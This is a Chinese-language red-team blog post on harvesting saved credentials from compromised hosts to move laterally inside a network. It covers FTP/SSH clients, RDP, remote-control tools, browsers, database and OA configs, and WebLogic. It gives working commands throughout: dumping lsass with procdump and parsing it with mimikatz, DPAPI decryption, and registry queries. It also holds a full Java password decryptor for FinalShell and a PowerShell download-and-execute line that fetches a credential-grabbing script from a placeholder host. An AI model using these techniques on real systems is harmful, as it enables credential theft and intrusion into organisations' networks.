内网凭证东搜西罗

渗透技巧 3年前 (2021) admin
1,049 0 0

                                      声明

    文章内容大部分来自于虚拟环境,少部分来自于日常渗透项目,涉及内容仅作技术交流使用,切勿用于违法行为!

                           

                                      前言

    日常在渗透测试,红队行动中,要想通过已经获取的权限来进行内网渗透,扩大战果,最直接最有效的方式就是利用已经拿下的权限来搜集各类凭证去做横向,内网密码搜集的越多,横向渗透也就越方便,越可以接近靶标或者内网最高权限。

    文章列举了常见的远程链接,远程控制,浏览器,常见数据库中间件相关软件和系统的凭证获取方式。文中涉及的工具已贴出链接,均可在互联网公开进行下载,由于各种原因,文中难免出现纰漏,还请各位师傅批评指正

    

01

FTP,SSH相关软件


FileZilla

简介:FileZilla 客户端是一个快速可靠的、跨平台的FTP,FTPS和SFTP客户端。具有图形用户界面(GUI)和很多有用的特性。

内网凭证东搜西罗


查找FileZilla的recentservers.xml

默认位置:

%userprofile%AppDataRoamingFileZillarecentservers.xml

内网凭证东搜西罗


内网凭证东搜西罗


拿到登录过的ftp服务器账号密码,

<Host>192.168.192.129</Host><Port>21</Port><User>ftpadmin</User><Pass encoding="base64">ZnRwQDEyMw==</Pass>

密码base64解码即可得到明文:

内网凭证东搜西罗
除此之外,FileZilla.xml文件里面也会有一些号密码的信息

内网凭证东搜西罗

也可以利用SharpDecryptPwd直接获取密码

工具下载地址:
https://github.com/uknowsec/SharpDecryptPwd

SharpDecryptPwd.exe -FileZilla

内网凭证东搜西罗

也可以从msf和cs获取密码

run post/multi/gather/filezilla_client_cred

内网凭证东搜西罗
内网凭证东搜西罗

Winscp

简介:WinSCP 是一个 Windows 环境下使用的 SSH 的开源图形化 SFTP 客户端。同时支持 SCP 协议。它的主要功能是在本地与远程计算机间安全地复制文件,并且可以直接编辑文件

内网凭证东搜西罗

通过注册表获得密文,通过winscppwd.exe获取

reg query "HKEY_CURRENT_USERSoftwareMartin PrikrylWinSCP 2Sessions"reg query "HKEY_CURRENT_USERSoftwareMartin PrikrylWinSCP 2Sessionsroot@192.168.192.128"winscppwd.exe root 192.168.192.128 密文

内网凭证东搜西罗

获取ftp密码同理:

内网凭证东搜西罗

有时候管理员会导出配置为WinSCP.ini文件。

内网凭证东搜西罗

这时候直接查找该文件,然后解密即可。

winscppwd.exe下载地址:

https://www.softpedia.com/get/Security/Password-Managers-Generators/winscppwd.shtml#download
SharpDecryptPwd直接获取密码

内网凭证东搜西罗

也可以利用msf和cs来抓取密码

内网凭证东搜西罗

内网凭证东搜西罗


Xshell

简介:Xshell是一款功能强大的终端模拟器,支持SSH2,SSH3,SFTP,TELNET,RLOGIN和SERIAL。

xshell密码默认保存位置:

XShell5:%userprofile%DocumentsNetSarangXshellSessionsXShell6:%userprofile%DocumentsNetSarang Computer6XshellSessions

解密工具:

https://github.com/dzxs/Xdecrypt

利用user和sid来执行:

python Xdecrypt.py -s user+sid -p %userprofile%DocumentsNetSarangXshellSessions
内网凭证东搜西罗

注:XShell7默认session里面的密码为空,这种可以使用星号密码查看器直接查看密码

内网凭证东搜西罗


FinalShell

简介:FinalShell是一体化的的服务器,网络管理软件,不仅是ssh客户端,还是功能强大的开发,运维工具。


配置文件地址:

%userprofile%AppDataLocalfinalshellconnxxx.json

内网凭证东搜西罗

密码保存在json文件里面

内网凭证东搜西罗

解密密文

内网凭证东搜西罗

某大佬写的解密源码

import java.io.ByteArrayOutputStream;import java.io.DataOutputStream;import java.io.IOException;import java.math.BigInteger;import java.security.MessageDigest;import java.security.NoSuchAlgorithmException;import java.security.SecureRandom;import java.util.Base64;import java.util.Random;
import javax.crypto.Cipher;import javax.crypto.SecretKey;import javax.crypto.SecretKeyFactory;import javax.crypto.spec.DESKeySpec;
public class FinalShellDecodePass { public static void main(String[] args)throws Exception { System.out.println(decodePass(args[0])); } public static byte[] desDecode(byte[] data, byte[] head) throws Exception { SecureRandom sr = new SecureRandom(); DESKeySpec dks = new DESKeySpec(head); SecretKeyFactory keyFactory = SecretKeyFactory.getInstance("DES"); SecretKey securekey = keyFactory.generateSecret(dks); Cipher cipher = Cipher.getInstance("DES"); cipher.init(2, securekey, sr); return cipher.doFinal(data); } public static String decodePass(String data) throws Exception { if (data == null) { return null; } else { String rs = ""; byte[] buf = Base64.getDecoder().decode(data); byte[] head = new byte[8]; System.arraycopy(buf, 0, head, 0, head.length); byte[] d = new byte[buf.length - head.length]; System.arraycopy(buf, head.length, d, 0, d.length); byte[] bt = desDecode(d, ranDomKey(head)); rs = new String(bt);
return rs; } } static byte[] ranDomKey(byte[] head) { long ks = 3680984568597093857L / (long)(new Random((long)head[5])).nextInt(127); Random random = new Random(ks); int t = head[0];
for(int i = 0; i < t; ++i) { random.nextLong(); }
long n = random.nextLong(); Random r2 = new Random(n); long[] ld = new long[]{(long)head[4], r2.nextLong(), (long)head[7], (long)head[3], r2.nextLong(), (long)head[1], random.nextLong(), (long)head[2]}; ByteArrayOutputStream bos = new ByteArrayOutputStream(); DataOutputStream dos = new DataOutputStream(bos); long[] var15 = ld; int var14 = ld.length;
for(int var13 = 0; var13 < var14; ++var13) { long l = var15[var13];
try { dos.writeLong(l); } catch (IOException var18) { var18.printStackTrace(); } }
try { dos.close(); } catch (IOException var17) { var17.printStackTrace(); }
byte[] keyData = bos.toByteArray(); keyData = md5(keyData); return keyData; } public static byte[] md5(byte[] data) { String ret = null; byte[] res=null;
try { MessageDigest m; m = MessageDigest.getInstance("MD5"); m.update(data, 0, data.length); res=m.digest(); ret = new BigInteger(1, res).toString(16); } catch (NoSuchAlgorithmException e) { e.printStackTrace(); } return res; }}


02

rdp相关凭证


本机rdp密码

抓取本机rdp密码是一个老生常谈的问题,通常cs直接上线管理执行mimikatz即可
内网凭证东搜西罗
当系统为win10或2012R2以上时,默认在内存缓存中禁止保存明文密码,抓取密码为空的时候

内网凭证东搜西罗

可以尝试解密NTLM获取明文密码,氪金解密即可。

内网凭证东搜西罗

上不了线的情况下,可以在webshell中来dump内存,保存到本地解密即可。

比如利用procdump64.exe

procdump64.exe -accepteula -ma lsass.exe lsass.dmp

内网凭证东搜西罗

利用mimikatz解密:

sekurlsa::minidump lsass.dmpsekurlsa::logonPasswords full

内网凭证东搜西罗

文件lsass.dmp的导出可以有多种方式:procdump,avdump,sqldumper,comsvcs.dll等等,这里不过多赘述,能够免杀转储即可。


rdp登录凭证

Windows自带的远程桌面缓存,当本机链接过某些机器的远程桌面后,会在本地留下rdp登录凭证,如果我们获得了远程桌面的凭证,可以方便我们进行渗透测试中的横向移动。

查看本机链接过哪些机器

reg query "HKEY_CURRENT_USERSoftwareMicrosoftTerminal Server ClientServers"

内网凭证东搜西罗

获取Credentials

dir /a %userprofile%AppDataLocalMicrosoftCredentials*

内网凭证东搜西罗

获取guidMasterKey

dpapi::cred /in:C:UsersadministratorAppDataLocalMicrosoftCredentialsCredentials值

内网凭证东搜西罗

mimikatz.exe "privilege::debug" "sekurlsa::dpapi" > cerd.txt
获取guid对应的MasterKey

内网凭证东搜西罗

获取明文rdp凭证

dpapi::cred /in:C:UsersadministratorAppDataLocalMicrosoftCredentialsCredentials值 /masterkey:masterkey值

内网凭证东搜西罗

也可以利用netpass直接获取

下载地址:

netpass

https://www.nirsoft.net/utils/network_password_recovery.html

内网凭证东搜西罗


03

远控相关软件


TeamViewer

TeamViewer 是远程访问、远程控制及远程支持解决方案,能够远程访问位于各地的计算机或移动设备


直接获取本机TeamViewer的ID以及密码

SharpDecryptPwd.exe -TeamViewer

内网凭证东搜西罗


向日葵

向日葵目前最高版本是:V12.0.1.39931,

由于更新,在向日葵v11.1.2.38529中,强化了加密机制

删除了config.ini中的encry_pwd(本机验证码)。 

所以解密的利用条件是:v11.0.0.38222以及以前的版本。

内网凭证东搜西罗

寻找配置文件config.ini,默认配置:

安装版:C:Program FilesOraySunLoginSunloginClientconfig.ini便携版(绿色版):C:ProgramDataOraySunloginClientconfig.ini

内网凭证东搜西罗

关注encry_pwd以及fastcode字段

其中encry_pwd是验证码加密后的字段,fastcode便是k+本机识别码,

解密encry_pwd

利用工具:

https://github.com/wafinfo/Sunflower_get_Password

内网凭证东搜西罗

得到本机验证码和本机识别码

941244985/4M9aON,直接登录即可。

内网凭证东搜西罗


04

浏览器相关软件


可以进3389的情况下直接打开查看即可
内网凭证东搜西罗

内网凭证东搜西罗

否则利用该工具进行抓取

地址:

https://github.com/moonD4rk/HackBrowserData

内网凭证东搜西罗

Get 1 passwords, filename is results/chrome_password.csv

Get 1 passwords, filename is results/360speed_password.csv

Get 2 passwords, filename is results/firefox_password.csv
抓取到火狐浏览器,google浏览器,360极速浏览器的密码

内网凭证东搜西罗

ie浏览器:

工具地址:

https://github.com/HanseSecure/credgrap_ie_edge

内网凭证东搜西罗

执行powershell解密即可

从远程解密

powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://xxx/credgrap_ie_edge.ps1')"


内网凭证东搜西罗

从本地解密

内网凭证东搜西罗

也可以用IE PassView

下载地址:

https://www.nirsoft.net/utils/internet_explorer_password.html

内网凭证东搜西罗


360安全浏览器

直接获取密码

内网凭证东搜西罗

利用工具

https://github.com/hayasec/360SafeBrowsergetpass

内网凭证东搜西罗



05

数据库凭证相关软件和系统


navicat

简介:Navicat Premium 是一套多连接数据库开发工具,可一次快速方便地访问多种数据库。

注册表获取pwd字段:

HKEY_CURRENT_USERSOFTWAREPremiumSoftNavicatServerslocalhost


内网凭证东搜西罗

使用navicatpwd.exe解密即可

下载地址:https://github.com/pxss/navicatpwd

内网凭证东搜西罗


致远oa

数据库配置文件默认位置:

/Seeyon/A8[致远版本]/base/conf/datasourceCtp.properties


内网凭证东搜西罗

致远oa数据库解密

工具下载地址:

https://github.com/jas502n/OA-Seeyou

内网凭证东搜西罗


用友nc

数据库配置文件默认位置:

/nchome/ierp/bin/prop.xml

内网凭证东搜西罗

用友数据库解密,工具下载地址:

https://github.com/jas502n/ncDecode

内网凭证东搜西罗


泛微oa

数据库配置文件默认位置:

D:WEAVERecologyWEB-INFpropweaver.properties

内网凭证东搜西罗


万户oa

数据库配置文件默认位置:

D:/jboss/jboss-as/server/oa/deploy/defaultroot.war/WEB-INF/config/whconfig.xml


内网凭证东搜西罗


内网凭证东搜西罗


06

中间件相关系统


tomcat

数据库配置文件:

WEB-INF/classes/application.properties

内网凭证东搜西罗

实战中遇见的tomcat常见数据库配置文件名:

db.propertiesjdbc.propertiesdbpool.propertiesconfig.propertiessso-config.propertiesminaconfig.propertiesmissCallAlertExclude.propertiesurl_img.propertieswebapp.propertiesProxool.propertiesapplication.properties

tomcat控制台账号密码:

/conf/tomcat-users.xml

内网凭证东搜西罗


activeMQ

内网凭证东搜西罗

登录密码存放路径:

/apache-activemq/conf/jetty-realm.properties

内网凭证东搜西罗


weblogic

weblogic控制台密码解密

查找boot.properties文件

weblogic/user_projects/domains/base_domain/servers/AdminServer/security/boot.properties


内网凭证东搜西罗

查找SerializedSystemIni.dat文件

weblogic/user_projects/domains/base_domain/security/SerializedSystemIni.dat


内网凭证东搜西罗

成功解密

解密工具:

https://github.com/Ch1ngg/WebLogicPasswordDecryptorUi

内网凭证东搜西罗

内网凭证东搜西罗


Nodemanager密码解密:

查找config.xml文件

/weblogic/user_projects/domains/base_domain/config/config.xml


内网凭证东搜西罗

内网凭证东搜西罗


数据库密码解密

查找jdbc相关文件

/weblogic/Oracle/Middleware/user_projects/domains/base_domain/config/jdbc/xxx-jdbc.xml


内网凭证东搜西罗

成功解密

内网凭证东搜西罗


也可以利用wlst.sh脚本进行解密

/bea/Oracle/Middleware/wlserver_10.3/common/bin

启动wlst

domain = "/bea/Oracle/Middleware/user_projects/domains/base_domain"service = weblogic.security.internal.SerializedSystemIni.getEncryptionService(domain)encryption = weblogic.security.internal.encryption.ClearOrEncryptedService(service)


内网凭证东搜西罗

调用encrypt方法进行加密

print "Weblogic server Admin password: %s" %encryption.decrypt("{AES}xxxxxxxx")

成功解密

内网凭证东搜西罗


01

小结


在内网渗透信息收集过程中,凭证获取仅仅是其中一环,文中所提到的内容也仅仅是海量软件凭证获取的冰山一角,在实战中,往往会遇见各类陌生的软件,尤其是运维软件,可以依据个人经验,总结这些软件的凭证获取方式来进一步渗透,最后,希望各位师傅们每次都能够搜集海量密码,轻松肝下内网。


参考链接:

https://www.bilibili.com/read/cv9065650

https://payloads.cn/2019/1204/decrypt-the-password-hash-saved-in-winscp-client.html

https://www.ascotbe.com/2021/06/09/WindowsGrabPassword/

https://rcoil.me/2019/09/%E3%80%90%E7%BC%96%E7%A8%8B%E3%80%91SharpDecryptPwd/

https://blog.csdn.net/SunJW_2017/article/details/115508202

https://github.com/jas502n/OA-Seeyou

https://mp.weixin.qq.com/s/msti9k7zUuvzEjAhGhfw7Q

https://mp.weixin.qq.com/s/tDjhRKgwl-sYDrdZOfgtvA

http://www.liulanqicode.com/

原文始发于微信公众号(红队ing):内网凭证东搜西罗

版权声明:admin 发表于 2021年8月27日 下午1:49。
转载请注明:内网凭证东搜西罗 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...